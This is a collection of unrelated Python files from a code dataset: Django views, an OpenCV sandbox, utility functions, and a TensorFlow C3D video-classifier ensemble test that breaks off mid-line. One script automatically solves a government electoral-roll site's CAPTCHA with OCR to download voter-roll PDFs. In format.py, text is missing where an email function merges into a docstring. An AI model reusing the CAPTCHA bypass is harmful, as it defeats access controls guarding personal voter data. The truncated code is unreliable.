return dict\n\ndef _todict(matobj):\n '''\n A recursive function which constructs from matobjects nested dictionaries\n '''\n dict = {}\n for strg in matobj._fieldnames:\n elem = matobj.__dict__[strg]\n if isinstance(elem, scpio.matlab.mio5_params.mat_struct):\n dict[strg] = _todict(elem)\n else:\n dict[strg] = elem\n return dict\n","sub_path":"p_utils/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":1224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"88832162","text":"# -*- coding: utf-8 -*-\n# This software is a part of the A.O.D apprepo project\n# Copyright 2020 Alex Woroschilow (alex.woroschilow@gmail.com)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\nimport os\nimport inject\n\nfrom django.http import FileResponse\nfrom django.shortcuts import render\nfrom django.views.generic.base import TemplateView\n\nfrom apps.package.model.package import Package\n\n\nclass PackageView(TemplateView):\n @inject.params(package='package')\n def get(self, request, slug=None, package=None):\n if not len(slug): raise ValueError('id can not be empty')\n\n return render(request, \"package/package.html\", {\n 'entity': Package.objects.get(slug=slug),\n 'collection': package.groups(),\n })\n\n\nclass PackageDownloadView(TemplateView):\n def get(self, request, slug=None):\n\n if slug is None or not len(slug):\n raise Exception('slug can not be empty')\n\n package = Package.objects.get(slug=slug)\n if package is None or not package:\n raise Exception('package can not be empty')\n\n version = package.version\n if version is None or not version:\n raise Exception('package version can not be empty')\n\n version.downloads += 1\n version.save(force_update=True)\n\n version_file = version.file\n if version_file is None or not version_file:\n raise Exception('package version can not be empty')\n\n response = FileResponse(open(version_file.path, 'rb'), as_attachment=False)\n response[\"Content-Disposition\"] = 'attachment; filename=\"{}\"'.format(package.package)\n response[\"Content-Length\"] = os.path.getsize(version_file.path)\n\n return response\n","sub_path":"src/apps/package/views/package.py","file_name":"package.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"588713496","text":"from selenium import webdriver\nfrom PIL import Image\n\nimport cv2\nimport pytesseract\nfrom PIL import Image\nimport urllib.request\n\n\n\ndriver = webdriver.Chrome(\"/Users/jalend15/opt/miniconda3/lib/python3.8/site-packages/selenium/webdriver/chrome/chromedriver\")\n\ndriver.get('https://ceoaperolls.ap.gov.in/AP_Eroll/Popuppage?partNumber=1&roll=EnglishMotherRoll&districtName=DIST_03&acname=22&acnameeng=A22&acno=22&acnameurdu=022')\n\nscreenshot = driver.save_screenshot('my_screenshot.png')\n\nimage= driver.find_element_by_id('form1').screenshot(\"/Users/jalend15/Desktop/aa.png\")\n\nURL ='https://ceoaperolls.ap.gov.in/AP_Eroll/Popuppage?partNumber=1&roll=EnglishMotherRoll&districtName=DIST_03&acname=22&acnameeng=A22&acno=22&acnameurdu=022'\n\n\nimage = cv2.imread('/Users/jalend15/Desktop/aa.png')\nimage = cv2.resize(image, (0, 0), fx=1.2, fy=2)\ncv2.imwrite(\"/Users/jalend15/PycharmProjects/electoral_rolls/andhra/cc.png\", image)\n\n\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\ncv2.imwrite(\"/Users/jalend15/PycharmProjects/electoral_rolls/andhra/cc.png\", gray)\n\ngray = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY|cv2.THRESH_OTSU)[1]\n\n\n\ncv2.imwrite(\"/Users/jalend15/PycharmProjects/electoral_rolls/andhra/dd.png\", gray)\n\n\nfilename = \"{}.png\".format(\"temp\")\ncv2.imwrite(filename, gray)\ntext = pytesseract.image_to_string(Image.open('temp.png'))\nprint(text)\n\ncaptchaEntry = driver.find_element_by_id('txtVerificationCode')\nsubmitButton = driver.find_element_by_id('btnSubmit')\n\n\n\ncaptchaEntry.send_keys(text[18:24])\nsubmitButton.click();\n\n\n\n\nresponse = urllib.request.urlopen(URL)\nfile = open(\"/Users/jalend15/Downloads/FILENAME.pdf\", 'wb')\nfile.write(response.read())\nfile.close()\n\ndriver.quit()","sub_path":"andhra/pdf.py","file_name":"pdf.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"106428612","text":"import os\nimport sys\nimport getpass\nimport warnings\n\nimport re\nimport math\n\nfrom tqdm import tqdm\nimport datetime\n\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\n\nfrom .sqlhelper import _get_config, _get_credentials\nfrom .misc import file_age, verbose_display\n\n\n#######################################################################################################################\n\n# Send an Email\ndef send_email(to, subject, body, cc='', credentials={}):\n \"\"\"Simplified function to send emails.\n Will look at the credentials at :obj:`/etc/config.json`. User can also pass a dictionnary for credentials.\n\n :Parameters:\n * **to** (:obj:`str`): Recipient of the email.\n * **subject** (:obj:`str`): Subject of the email.\n * **body** (:obj:`str`): Content of the email to be send.\n * **cc** (:obj:`str`): Email address to be copied (defaults None).\n * **credentials** (:obj:`dict`): Credentials to use to connect to the database. You can also provide the credentials path or the json file name from :obj:`/etc/` (defaults {}).\n * **verbose** (:obj:`bool`): Displays if the email was sent successfully (defaults False).\n\n :Example:\n >>> content = \"This is a test\"\n >>> pycof.send_email(to=\"test@domain.com\", body=content, subject=\"Hello world!\")\n \"\"\"\n config = _get_config(credentials)\n msg = MIMEMultipart()\n msg['From'] = config.get('EMAIL_USER')\n msg['To'] = to\n msg['Cc'] = '' if cc == '' else cc\n msg['Subject'] = subject\n\n mail_type = 'html' if '>> pycof.add_zero(2)\n ... '02'\n\n :Returns:\n * :obj:`str`: Converted number qs a string.\n \"\"\"\n if nb < 10:\n return('0' + str(nb))\n else:\n return(str(nb))\n\n\n#######################################################################################################################\n\n# Put thousand separator\ndef group(nb, digits=0):\n \"\"\"Transforms a number into a string with a thousand separator.\n\n :Parameters:\n * **nb** (:obj:`float`): Number to be transformed.\n * **digits** (:obj:`int`): Number of digits to round.\n\n :Example:\n >>> pycof.group(12345)\n ... '12,345'\n >>> pycof.group(12345.54321, digits=3)\n ... '12,345.543'\n\n :Returns:\n * :obj:`str`: Transformed number.\n \"\"\"\n if math.isnan(nb):\n return('-')\n else:\n s = '%d' % nb\n groups = []\n if digits > 0:\n dig = '.' + str(nb).split('.')[1][:digits]\n else:\n dig = ''\n while s and s[-1].isdigit():\n groups.append(s[-3:])\n s = s[:-3]\n return s + ','.join(reversed(groups)) + dig\n\n\n#######################################################################################################################\n\n# Transform 0 to '-'\ndef replace_zero(nb, digits=0):\n \"\"\"For a given number, will transform 0 by '-' for display puspose.\n\n :Parameters:\n * **nb** (:obj:`float`): Number to be transformed.\n\n :Example:\n >>> pycof.replace_zero(0)\n ... '-'\n >>> pycof.replace_zero(12345)\n ... '12'\n >>> pycof.replace_zero(12345, digits=1)\n ... '12,3'\n\n :Returns:\n * :obj:`str`: Transformed number as a string.\n \"\"\"\n if (str(nb) == '0'):\n return '-'\n else:\n return(group(nb / 1000, digits))\n\n\n#######################################################################################################################\n\n# Get the week (sunday) date\ndef week_sunday(date=None, return_week_nb=False):\n \"\"\"For a given date, will return the date from previous sunday or week number.\n\n :Parameters:\n * **date** (:obj:`datetime.date`): Date from which we extract the week number/sunday date (defaults to today).\n * **return_week_nb** (:obj:`bool`): If True will return week number with sunday basis (defaults False).\n\n :Example:\n >>> pycof.week_sunday(datetime.date(2020, 4, 15))\n ... datetime.date(2020, 4, 12)\n >>> pycof.week_sunday(datetime.date(2020, 4, 15), return_week_nb = True)\n ... 16\n\n :Returns:\n * :obj:`int`: Week number (from 1 to 52) if :obj:`return_week_nb` else date format.\n \"\"\"\n date = datetime.date.today() if date is None else date\n\n # Get when was the last sunday\n idx = (date.weekday() + 1) % 7 # MON = 0, SUN = 6 -> SUN = 0 .. SAT = 6\n # Get the date\n last_sunday = date - datetime.timedelta(idx)\n if return_week_nb:\n # Return iso week number\n return(last_sunday.isocalendar()[1] + 1)\n else:\n # Return date\n return(last_sunday)\n\n\n#######################################################################################################################\n\n# Get use name (not only login)\ndef display_name(display='first'):\n \"\"\"Displays current user name (either first/last or full name)\n\n :Parameters:\n * **display** (:obj:`str`): What name to display 'first', 'last' or 'full' (defaults 'first').\n\n :Example:\n >>> pycof.display_name()\n ... 'Florian'\n\n :Returns:\n * :obj:`str`: Name to be displayed.\n \"\"\"\n try:\n if sys.platform in ['win32']:\n import ctypes\n GetUserNameEx = ctypes.windll.secur32.GetUserNameExW\n NameDisplay = 3\n #\n size = ctypes.pointer(ctypes.c_ulong(0))\n GetUserNameEx(NameDisplay, None, size)\n #\n nameBuffer = ctypes.create_unicode_buffer(size.contents.value)\n GetUserNameEx(NameDisplay, nameBuffer, size)\n user = nameBuffer.value\n if display == 'first':\n return(user.split(', ')[1])\n elif display == 'last':\n return(user.split(', ')[0])\n else:\n return(user)\n else:\n import pwd\n user = pwd.getpwuid(os.getuid())[4]\n if display == 'first':\n return (user.split(', ')[1])\n elif display == 'last':\n return (user.split(', ')[0])\n else:\n return (user)\n except Exception:\n return(getpass.getuser())\n\n\n#######################################################################################################################\n\n# Convert a string to boolean\ndef str2bool(value):\n \"\"\"Convert a string into boolean.\n\n :Parameters:\n * **value** (:obj:`str`): Value to be converted to boolean.\n\n :Example:\n >>> pycof.str2bool('true')\n ... True\n >>> pycof.str2bool(1)\n ... True\n >>> pycof.str2bool(0)\n ... False\n\n :Returns:\n * :obj:`bool`: Returns either True or False.\n \"\"\"\n return str(value).lower() in (\"yes\", \"y\", \"true\", \"t\", \"1\")\n","sub_path":"pycof/format.py","file_name":"format.py","file_ext":"py","file_size_in_byte":7724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"139725113","text":"from django.shortcuts import render\r\nfrom .forms import ContactForm, BookingForm, PromotionForm\r\nfrom django.template.loader import get_template\r\nfrom django.core.mail import EmailMessage\r\nfrom django.template import Context\r\nfrom django.shortcuts import redirect\r\nimport csv\r\n\r\n\r\ndef promotion(request):\r\n form_class = PromotionForm\r\n if request.method == 'POST':\r\n form = form_class(data=request.POST)\r\n\r\n if form.is_valid():\r\n contact_email = request.POST.get(\r\n 'contact_email'\r\n , '')\r\n\r\n # Email the profile with the\r\n # contact information\r\n template = get_template('/forms/booking_template.txt')\r\n context = Context({\r\n 'contact_email': contact_email\r\n })\r\n content = template.render(context)\r\n\r\n email = EmailMessage(\r\n \"New contact form submission\",\r\n content,\r\n \"Your website\" + '',\r\n ['youremail@gmail.com'],\r\n headers={'Reply-To': contact_email}\r\n )\r\n email.send()\r\n return redirect('/home')\r\n\r\n return render(request, 'index.html', {\r\n 'form': form_class,\r\n })\r\n\r\n# add to your views\r\ndef booking(request):\r\n form_class = BookingForm\r\n if request.method == 'POST':\r\n form = form_class(data=request.POST)\r\n\r\n if form.is_valid():\r\n contact_name = request.POST.get(\r\n 'contact_name'\r\n , '')\r\n contact_email = request.POST.get(\r\n 'contact_email'\r\n , '')\r\n time = request.POST.get('time', '')\r\n day = request.POST.get('day', '')\r\n # Email the profile with the\r\n # contact information\r\n template = get_template('/forms/booking_template.txt')\r\n context = Context({\r\n 'contact_name': contact_name,\r\n 'contact_email': contact_email,\r\n 'day': day,\r\n 'time': time\r\n })\r\n content = template.render(context)\r\n\r\n email = EmailMessage(\r\n \"New contact form submission\",\r\n content,\r\n \"Your website\" + '',\r\n ['youremail@gmail.com'],\r\n headers={'Reply-To': contact_email}\r\n )\r\n email.send()\r\n ifile = open('/root/bodylab/mysite/templates/test.csv', \"a\")\r\n writer = csv.writer(ifile, delimiter=';', quotechar='\"', quoting=csv.QUOTE_ALL)\r\n writer.writerow([contact_name, contact_email, day, time])\r\n ifile.close()\r\n return redirect('/booking')\r\n\r\n return render(request, 'booking.html', {\r\n 'form': form_class,\r\n })\r\n\r\n\r\ndef contact(request):\r\n form_class = ContactForm\r\n if request.method == 'POST':\r\n form = form_class(data=request.POST)\r\n if form.is_valid():\r\n contact_name = request.POST.get(\r\n 'contact_name', '')\r\n contact_email = request.POST.get(\r\n 'contact_email', '')\r\n form_phone = request.POST.get('phone', '')\r\n form_content = request.POST.get('content', '')\r\n\r\n # Email the profile with the\r\n # contact information\r\n template = get_template('forms/contact_template.txt')\r\n context = Context({\r\n 'contact_name': contact_name,\r\n 'contact_email': contact_email,\r\n 'phone': form_phone,\r\n 'form_content': form_content,\r\n })\r\n content = template.render(context)\r\n\r\n email = EmailMessage(\r\n \"New contact form submission\",\r\n content,\r\n \"Your website\" +'',\r\n ['youremail@gmail.com'],\r\n headers = {'Reply-To': contact_email }\r\n )\r\n email.send()\r\n return redirect('/contacts')\r\n\r\n\r\n return render(request, 'contacts.html', {\r\n 'form': form_class,\r\n })","sub_path":"mysite/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"101828866","text":"\"\"\"\r\n给定一个已按照升序排列的有序数组,\r\n找到两个数使得它们相加之和等于目标数。\r\n函数应该返回这两个下标值 index1 和 index2\r\n其中 index1 必须小于 index2。\r\n\"\"\"\r\nclass Solution(object):\r\n def twoSum(self, numbers, target):\r\n \"\"\"\r\n :type numbers: List[int]\r\n :type target: int\r\n :rtype: List[int]\r\n \"\"\"\r\n Max = len(numbers) - 1\r\n Min = 0\r\n while True:\r\n cur = numbers[Max] + numbers[Min]\r\n if cur > target:\r\n Max -= 1\r\n elif cur < target:\r\n Min += 1\r\n elif cur == target:\r\n return([Min+1, Max+1])","sub_path":"两数之和II.py","file_name":"两数之和II.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"502101967","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfile = './test_images/test5.jpg'\n\ndef adjust_gamma(image, gamma=1.0):\n # build a lookup table mapping the pixel values [0, 255] to\n # their adjusted gamma values\n invGamma = 1.0 / gamma\n table = np.array([((i / 255.0) ** invGamma) * 255\n for i in np.arange(0, 256)]).astype(\"uint8\")\n\n # apply gamma correction using the lookup table\n return cv2.LUT(image, table)\n\n\nimg = cv2.imread(file)\n#img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\nclahe = cv2.createCLAHE(clipLimit=1.5, tileGridSize=(4, 4))\n#img = clahe.apply(img)\n\nimg = adjust_gamma(img, .1)\n#img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n#img = clahe.apply(img)\n\ncv2.imshow('image', img)\ncv2.waitKey(0)\n\n#plt.imshow(adjust_gamma(img))\n#plt.show()\n\n\n","sub_path":"sandbox.py","file_name":"sandbox.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"380393825","text":"#!/usr/bin/env python3\r\n# encoding: utf-8\r\nimport cv2\r\nimport tensorflow as tf\r\nimport sys, os, h5py\r\nimport numpy as np\r\nimport tensorflow.contrib.layers as layers\r\nimport random\r\nimport pandas as pd\r\nfrom random import shuffle\r\nfrom random import randint\r\nfrom tqdm import tqdm\r\nimport time\r\nfrom input_data_v1 import *\r\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\r\nfrom collections import Counter\r\n\r\nclass C3dModel(object):\r\n\ttrain_size = 5041 #5041 for HMDB51, 9999 for ucf101\r\n\ttest_size = 3321 #1742 \r\n\tensemble_type = 1 #1 - average fusion, 2 - max fusion, 3 vote fusion\r\n\r\n\tdef __init__(self,\r\n\t\t\tnum_class = 101,\r\n\t\t\tkeep_prob = 0.6,\r\n\t\t\tbatch_size = 12,\r\n\t\t\tepoch=40,\r\n\t\t\tlr = 1e-4):\r\n\t\tself.IMG_WIDTH = 171\r\n\t\tself.IMG_HEIGHT = 128\r\n\r\n\t\tself.CROP_WIDTH = 112\r\n\t\tself.CROP_HEIGHT = 112\r\n\t\tself.graph = tf.Graph()\r\n\t\tself.num_class = num_class\r\n\t\tself.epoch = epoch\r\n\t\tself.CLIP_LENGTH = 16\r\n\t\tself.keep_prob = keep_prob\r\n\t\tself.batch_size = batch_size\r\n\t\tdecay_epoch=10 #每5个epoch改变一次学习率\r\n\r\n\r\n\t\t# train clip: 9537*5 CLIP=5\r\n\t\t# test clip: 3783*5 CLIP=5\r\n\t\t# train clip: 9537*3 CLIP=3\r\n\t\t# test clip: 3783*3 CLIP=3\r\n\r\n\t\t# ucf101-testAF.list = 3374\r\n\t\t# ucf101-trainAF.list = 9946\r\n\r\n\t\t# ucf101-trainSAF.list = 10009\r\n\t\t# ucf101-testSAF.list = 3311\r\n\t\t\r\n\t\t# hmdb51-trainFSAF.list = 5041\r\n\t\t# hmdb51-testFSAF.list = 1724\r\n\t\t\r\n\t\t# KTH-trainFSAF.list: 470 CLIP=3\r\n\t\t# KTH-testFSAF.list: 129 CLIP=3\r\n\r\n\t\t# KTH-trainSAF.list = 457\r\n\t\t# KTH-testSAF.list = 142\r\n\r\n\t\t# KTH-train-rgb.list = 470\r\n\t\t# KTH-test-rgb.list = 129\t\t\r\n\r\n\t\tself.n_step_epoch=int(self.train_size/batch_size)\r\n\t\twith self.graph.as_default():\r\n\t\t\tself.inputs = tf.placeholder(tf.float32, [None, self.CLIP_LENGTH, self.CROP_HEIGHT, self.CROP_WIDTH, 3])\r\n\t\t\tself.labels = tf.placeholder(tf.int64, [batch_size,])\r\n\r\n\t\t\tself.initializer = layers.xavier_initializer()\r\n\t\t\tself.global_step = tf.Variable(0, trainable = False, name = \"global_step\")\r\n\t\t\tself.lr = tf.train.exponential_decay(lr, self.global_step, int(decay_epoch*self.n_step_epoch), 1e-1, True)\r\n\t\t\ttf.add_to_collection(tf.GraphKeys.GLOBAL_STEP, self.global_step)\r\n\r\n\tdef conv3d(self, inputs, shape, name,w_name,b_name):\r\n\t\twith self.graph.as_default():\r\n\t\t\twith tf.variable_scope('var_name') as var_scope:\r\n\t\t\t\tW = tf.get_variable(name = w_name, shape = shape, initializer = self.initializer, dtype = tf.float32)\r\n\t\t\t\tb = tf.get_variable(name = b_name, shape = shape[-1], initializer = tf.zeros_initializer(), dtype = tf.float32)\r\n\t\t\t\ttf.add_to_collection(tf.GraphKeys.WEIGHTS, W)\r\n\t\t\t\ttf.add_to_collection(tf.GraphKeys.BIASES, b)\r\n\t\t\treturn tf.nn.relu(tf.nn.bias_add(tf.nn.conv3d(inputs, W, strides = [1, 1, 1, 1, 1], padding = \"SAME\"), b))\r\n\t\t\t# filter:\r\n\t\t\t# [filter_depth, filter_height, filter_width, in_channels,out_channels]\r\n\tdef fc(self, inputs, shape, name,w_name,b_name,activation = True):\r\n\t\twith self.graph.as_default():\r\n\t\t\twith tf.variable_scope('var_name') as var_scope:\r\n\t\t\t\tW = tf.get_variable(name = w_name, shape = shape, initializer = self.initializer, dtype = tf.float32)\r\n\t\t\t\tb = tf.get_variable(name = b_name, shape = shape[-1], initializer = tf.zeros_initializer(), dtype = tf.float32)\r\n\t\t\t\ttf.add_to_collection(tf.GraphKeys.WEIGHTS, W)\r\n\t\t\t\ttf.add_to_collection(tf.GraphKeys.BIASES, b)\r\n\r\n\t\t\tif activation:\r\n\t\t\t\treturn tf.nn.relu(tf.nn.bias_add(tf.matmul(inputs, W), b))\r\n\t\t\telse:\r\n\t\t\t\treturn tf.nn.bias_add(tf.matmul(inputs, W), b)\r\n\r\n\t# netstrucet is an orderdict with form {\"conv\": [shape, name]}\r\n\tdef parseNet(self, net, netstruct, istraining = True):\r\n\t\tfor key in netstruct:\r\n\t\t\tif key[0] == \"conv\":\r\n\t\t\t\tnet = self.conv3d(net, key[2], key[1],key[3], key[4])\r\n\t\t\telif key[0] == \"fc\":\r\n\t\t\t\tnet = self.fc(net, key[2], key[1], key[3], key[4],activation = key[-1])\r\n\t\t\telif key[0] == \"maxpool\":\r\n\t\t\t\tnet = tf.nn.max_pool3d(net, ksize = key[2], strides = key[2], padding = \"SAME\", name = key[1])\r\n\t\t\telif key[0] == \"dropout\" and istraining:\r\n\t\t\t\tnet = tf.nn.dropout(net, key[2], name = key[1])\r\n\t\t\telif key[0] == \"reshape\":\r\n\t\t\t\tnet = tf.reshape(net, key[-1])\r\n\t\t\telif key[0] == \"softmax\":\r\n\t\t\t\tnet = tf.nn.softmax(net)\r\n\t\t\telif key[0] == \"transpose\":\r\n\t\t\t\tnet = tf.transpose(net, perm=key[-1])\r\n\t\treturn net\r\n\r\n\tdef test(self, modelpath):\r\n\t\twith self.graph.as_default():\r\n\t\t\tc3d_net = [\r\n\t\t\t\t[\"conv\", \"conv1\", [3, 3, 3, 3, 64], 'wc1', 'bc1'],\r\n\t\t\t\t[\"maxpool\", \"pool1\", [1, 1, 2, 2, 1]],\r\n\t\t\t\t[\"conv\", \"conv2\", [3, 3, 3, 64, 128], 'wc2', 'bc2'],\r\n\t\t\t\t[\"maxpool\", \"pool2\", [1, 2, 2, 2, 1]],\r\n\t\t\t\t[\"conv\", \"conv3a\", [3, 3, 3, 128, 256], 'wc3a', 'bc3a'],\r\n\t\t\t\t[\"conv\", \"conv3b\", [3, 3, 3, 256, 256], 'wc3b', 'bc3b'],\r\n\t\t\t\t[\"maxpool\", \"pool3\", [1, 2, 2, 2, 1]],\r\n\t\t\t\t[\"conv\", \"conv4a\", [3, 3, 3, 256, 512], 'wc4a', 'bc4a'],\r\n\t\t\t\t[\"conv\", \"conv4b\", [3, 3, 3, 512, 512], 'wc4b', 'bc4b'],\r\n\t\t\t\t[\"maxpool\", \"pool4\", [1, 2, 2, 2, 1]],\r\n\t\t\t\t[\"conv\", \"conv5a\", [3, 3, 3, 512, 512], 'wc5a', 'bc5a'],\r\n\t\t\t\t[\"conv\", \"conv5b\", [3, 3, 3, 512, 512], 'wc5b', 'bc5b'],\r\n\t\t\t\t[\"maxpool\", \"pool5\", [1, 2, 2, 2, 1]],\r\n\t\t\t\t[\"transpose\", [0, 1, 4, 2, 3]], #only use it if you restore the sports1m_finetuning_ucf101.model, otherwise uncomment it,(e.g use conv3d_deepnetA_sport1m_iter_1900000_TF.model)\r\n\t\t\t\t[\"reshape\", [-1, 8192]],\r\n\t\t\t\t[\"fc\", \"fc1\", [8192, 4096], 'wd1', 'bd1', True],\r\n\t\t\t\t[\"dropout\", \"dropout1\", self.keep_prob],\r\n\t\t\t\t[\"fc\", \"fc2\", [4096, 4096],'wd2','bd2', True],\r\n\t\t\t\t[\"dropout\", \"dropout2\", self.keep_prob],\r\n\t\t\t\t[\"fc\", \"fc3\", [4096, self.num_class],'wout','bout',False],\r\n\t\t\t]\r\n\r\n\t\t\tconfig = tf.ConfigProto()\r\n\t\t\tconfig.gpu_options.allow_growth = True\r\n\t\t\tconfig.gpu_options.per_process_gpu_memory_fraction = 0.9\r\n\r\n\t\t\twith tf.Session(config=config, graph=self.graph) as sess:\r\n\t\t\t\tlogits = self.parseNet(self.inputs, c3d_net)\r\n\t\t\t\tsoftmax_logits = tf.nn.softmax(logits)\r\n\r\n\t\t\t\tint_label = self.labels \r\n\r\n\t\t\t\ttask_loss = tf.reduce_sum(\r\n\t\t\t\t\ttf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=int_label))\r\n\r\n\t\t\t\tacc = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(softmax_logits, axis=-1), int_label), tf.float32))\r\n\t\t\t\tright_count = tf.reduce_sum(tf.cast(tf.equal(tf.argmax(softmax_logits, axis=1), int_label), tf.int32))\r\n\t\t\t\tensemble_logist = softmax_logits\r\n\t\t\t\treg_loss = layers.apply_regularization(layers.l2_regularizer(5e-4),\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t tf.get_collection(tf.GraphKeys.WEIGHTS))\r\n\t\t\t\ttotal_loss = task_loss + reg_loss\r\n\t\t\t\t\r\n\t\t\t\ttrain_op = tf.train.GradientDescentOptimizer(self.lr).minimize(\r\n\t\t\t\t\ttotal_loss, global_step=self.global_step)\r\n\t\r\n\t\t\t\ttotal_para = np.sum([np.prod(v.get_shape().as_list()) for v in tf.trainable_variables()])\r\n\t\t\t\tprint('total_para:', total_para) \r\n\r\n\t\t\t\tinit = tf.global_variables_initializer()\r\n\r\n\t\t\t\tsess.run(init)\r\n\t\t\t\tsaver = tf.train.Saver(tf.trainable_variables())\r\n\t\t\t\t\r\n\t\t\t\t# ========================================================================================\r\n\t\t\t\t#Recode after lost all code - awful day 21/5/2018\r\n\r\n\t\t\t\t# test_list=[\"./test1.list\",'./test1.list',\"./test1.list\"]\r\n\t\t\t\t# test_list=[\"./kth_rgb_test.list\",'./kth_fsaf_test2.list',\"./kth_of_test2.list\"]\r\n\t\t\t\t# network_models = ['c3d_kth_rgb','c3d_kth_fsaf','c3d_kth_of']\r\n\r\n\t\t\t\ttest_list=[\"./hmdb51_rgb_test.list\",\"./hmdb51_fsaf_test.list\",'./hmdb51_of_test2.list']\r\n\t\t\t\tnetwork_models = ['c3d_hmdb51_rgb','c3d_hmdb51_fsaf','c3d_hmdb51_of']\r\n\r\n\t\t\t\t# test_list=[\"./ucf101_rgb_test.list\",\"./ucf101_saf_test2.list\",'./ucf101_of_test2.list']\r\n\t\t\t\t# network_models = ['c3d_ucf_rgb','c3d_ucf_saf','c3d_ucf_of']\r\n\r\n\t\t\t\t# lines = open(test_list[0],'r')\r\n\t\t\t\t# # lines = list(lines)\r\n\t\t\t\t# lines = list(line for line in lines if line)\r\n\t\t\t\t# number_of_line = len(lines)\r\n\t\t\t\t# self.test_size = number_of_line\r\n\t\t\t\tlist_accuracy = []\r\n\t\t\t\tpred_labels = []\r\n\t\t\t\ttrue_labels = []\r\n\t\t\t\tnum_networks = len(network_models)\r\n\t\t\t\t# ======================================================================================\r\n\t\t\t\tfor m in range(num_networks):\r\n\t\t\t\t\tsoftmax_one_networks = []\r\n\t\t\t\t\tsaver.restore(sess, modelpath + network_models[m])\r\n\t\t\t\t\tprint(\"Model {:2d} loading finished!\" .format(m))\r\n\t\t\t\t\tstep = 0\r\n\t\t\t\t\tprint_freq = 2\r\n\t\t\t\t\tnext_start_pos = 0\r\n\t\t\t\t\tlines = open(test_list[m],'r')\r\n\t\t\t\t\t# lines = list(lines)\r\n\t\t\t\t\tlines = list(line for line in lines if line)\r\n\t\t\t\t\tnumber_of_line = len(lines)\r\n\t\t\t\t\tself.test_size = number_of_line\r\n\t\t\t\t\t# print(number_of_line)\r\n\t\t\t\t\tfor one_epoch in range(1):\r\n\t\t\t\t\t\tepostarttime = time.time()\r\n\t\t\t\t\t\tstarttime = time.time()\r\n\t\t\t\t\t\ttotal_v = 0.0\r\n\t\t\t\t\t\ttest_correct_num = 0\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tfor i in tqdm(range(int(self.test_size / self.batch_size))):\r\n\t\t\t\t\t\t\tstep += 1\r\n\t\t\t\t\t\t\ttotal_v += self.batch_size\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\ttrain_batch, label_batch, next_start_pos, _,_ = read_clip_and_label(\r\n\t\t\t\t\t\t\t\tfilename=test_list[m],\r\n\t\t\t\t\t\t\t\tbatch_size=self.batch_size,\r\n\t\t\t\t\t\t\t\tstart_pos=next_start_pos,\r\n\t\t\t\t\t\t\t\tnum_frames_per_clip=self.CLIP_LENGTH,\r\n\t\t\t\t\t\t\t\theight=self.IMG_HEIGHT,\r\n\t\t\t\t\t\t\t\twidth=self.IMG_WIDTH,\r\n\t\t\t\t\t\t\t\tshuffle=False)\r\n\r\n\t\t\t\t\t\t\tassert len(train_batch)==self.batch_size\r\n\t\t\t\t\t\t\ttrain_batch = train_aug(train_batch, is_train=False, Crop_heith=self.CROP_HEIGHT,\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tCrop_width=self.CROP_WIDTH,norm=True)\r\n\t\t\t\t\t\t\tval_feed = {self.inputs: train_batch, self.labels: label_batch}\r\n\t\t\t\t\t\t\ttest_correct_num += sess.run(right_count, val_feed)\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t#add 22/5\r\n\t\t\t\t\t\t\tsoftmax = sess.run(ensemble_logist, val_feed)\r\n\t\t\t\t\t\t\tif m == 0: #get for first network only\r\n\t\t\t\t\t\t\t\ttrue_labels.extend(label_batch)\r\n\r\n\t\t\t\t\t\t\tsoftmax_one_networks.extend(softmax)\r\n\r\n\t\t\t\t\t\t\tprint('test acc:', test_correct_num / total_v, 'test_correct_num:', test_correct_num,\r\n\t\t\t\t\t\t\t\t 'total_v:', total_v)\r\n\t\t\t\t\tlist_accuracy.append(test_correct_num / total_v)\r\n\t\t\t\t\tpred_labels.append(softmax_one_networks)\r\n\r\n\t\t\t\tprint(list_accuracy)\r\n\t\t\t\tprint(np.shape(true_labels),np.shape(pred_labels))\r\n\t\t\t\t# pred_labels shape = (num_networks, num_label,num_class)\r\n\t\t\t\t# print(true_labels)\r\n\t\t\t\t\r\n\t\t\t\t#ensemble:\r\n\t\t\t\tnumber_of_test = len(true_labels)\r\n\t\t\t\tif self.ensemble_type == 1: #average fusion\r\n\t\t\t\t\tensemble_pred_labels = np.mean(pred_labels, axis = 0)\r\n\t\t\t\t\tensemble_cls_pred = np.argmax(ensemble_pred_labels, axis=1)\r\n\t\t\t\t\t\r\n\t\t\t\telif self.ensemble_type == 2: # max 